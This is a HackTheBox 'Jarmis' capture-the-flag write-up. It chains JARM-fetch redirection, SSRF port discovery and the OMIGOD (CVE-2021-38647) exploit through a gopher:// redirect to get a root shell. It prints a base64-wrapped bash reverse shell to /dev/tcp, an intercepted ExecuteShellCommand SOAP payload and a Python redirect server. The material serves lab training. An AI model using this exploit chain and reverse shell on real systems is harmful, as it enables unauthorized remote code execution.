Post

HackTheBox Jarmis Writeup

Explore the fundamentals of cybersecurity in the Jarmis Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.117 jarmis.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.117"
domain="jarmis.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV jarmis.htb -Pn
1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for jarmis.htb (10.10.11.117)
Host is up (0.071s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Jarmis
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1
dirb http://jarmis.htb/

Iterate over all ids and filter malicious ones

1
2
3
4
5
for id in {1..300}; do
  curl -s -X 'GET' \
    "http://jarmis.htb/api/v1/search/id/$id" \
    -H 'accept: application/json' | jq 'select(.ismalicious == true)'
done

If you are on Arch Linux, install nmap-netcat, which includes the -ssl option (unlike the simpler gnu-netcat):

1
sudo nc -lvnp 443 --ssl

Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://<vpn-ip>, which will display the message:

1
"note": "Ncat?"

Now, let’s use Metasploit to listen:

1
sudo msfconsole -x "use auxiliary/server/capture/http; set srvport 443; set SSL true; run"

Run the command above, then resend https://<vpn-ip> in the Fetch Jarm section.

You should receive the response:

1
"note": "Metasploit?"

Routing 8443 to 443 for Connection Back

  1. Flush Existing Rules:
    1
    
    sudo iptables -t nat -F
    
  2. Redirect Traffic:
    1
    
    sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d <vpn-ip> -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
    
  3. Start Listeners:
    • Start a listener on port 443:
      1
      
      sudo nc -lvnp 443 --ssl
      
    • Start a listener on port 8443:
      1
      
      sudo nc -lvnp 8443 --ssl
      
  4. Fetch Jarm: Navigate to Fetch Jarm and input https://<vpn-ip>.

You will receive a GET request on port 8443. With this setup, you can send the OMIgod payload through that channel.

Local Open Ports

1
ffuf -u 'http://jarmis.htb/api/v1/fetch?endpoint=http://localhost:FUZZ' -w <(seq 1 65535) -fs 109
1
2
3
4
22                      [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 223ms]
80                      [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 135ms]
5986                    [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 199ms]
8001                    [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 466ms]

SSRF Omigod Using Gopher

The exploit can be found at https://github.com/horizon3ai/CVE-2021-38647/blob/main/omigod.py.

Using Gopher allows for directly embedding headers in the URL, making it easier to weaponize and bypass restrictions.

  1. First, run Burp Suite on port 8080 (default).
  2. Intercept the OMIgod payload packet by configuring the OMIgod exploit to route through Burp Suite.
1
2
3
4
5
wget https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/refs/heads/main/omigod.py
sed -i "s/, verify=False/, verify=False, proxies={'https':'http:\/\/localhost:8080'}/" omigod.py
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
python3 omigod.py -t "$ip" -c "echo -n $(echo -n "bash -i >& /dev/tcp/$ip/9001 0>&1" | base64 -w 0) | base64 -d | bash"
rm -rf omigod.py

OMIGOD payload intercepted through Burp Suite.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /wsman HTTP/1.1
Host: 10.10.14.8:5986
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/soap+xml;charset=UTF-8
Content-Length: 1728

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
   <s:Header>
      <a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
      <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
      <a:ReplyTo>
         <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
      </a:ReplyTo>
      <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
      <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
      <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
      <w:OperationTimeout>PT1M30S</w:OperationTimeout>
      <w:Locale xml:lang="en-us" s:mustUnderstand="false" />
      <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
      <w:OptionSet s:mustUnderstand="true" />
      <w:SelectorSet>
         <w:Selector Name="__cimnamespace">root/scx</w:Selector>
      </w:SelectorSet>
   </s:Header>
   <s:Body>
      <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:command>echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ== | base64 -d | bash</p:command>
         <p:timeout>0</p:timeout>
      </p:ExecuteShellCommand_INPUT>
   </s:Body>
</s:Envelope>

Flush the existing iptables rules and redirect traffic:

1
2
3
sudo iptables -t nat -F
sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d <vpn-ip> -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
sudo nc -lvnp 443 --ssl

Start a listener on a different port:

1
nc -lvnp 9001

Python Server to Send the OMIGOD Payload:

In the intercepted Burp payload:

  • Increment the Content-Length by 2, as this is a requirement for Gopher requests.
  • Select all, right-click, and choose Convert Selection > URL > URL Encode All Chars.
  • Change omigod-payload in the Python server below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import os
import subprocess

key_path = '/tmp/key.pem'
cert_path = '/tmp/cert.pem'
if not os.path.exists(key_path) or not os.path.exists(cert_path):
    subprocess.run(['openssl', 'req', '-x509', '-newkey', 'rsa:4096', '-keyout', key_path, '-out', cert_path, '-days', '365', '-nodes'])
payload = '<omigod-payload>'

class MainHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("GET request received")
        self.send_response(301)
        self.send_header("Location", f"gopher://127.0.0.1:5985/_{payload}" + '%0d%0a')

context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=cert_path, keyfile=key_path)

httpd = HTTPServer(('0.0.0.0', 8443), MainHandler)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

print("Serving on https://0.0.0.0:8443")
httpd.serve_forever()

Run the following commands to get a shell:

1
2
3
nano rce
chmod +x rce
./rce

Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://<vpn-ip>.

Finally, read the flags:

1
2
cat /home/htb/user.txt
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.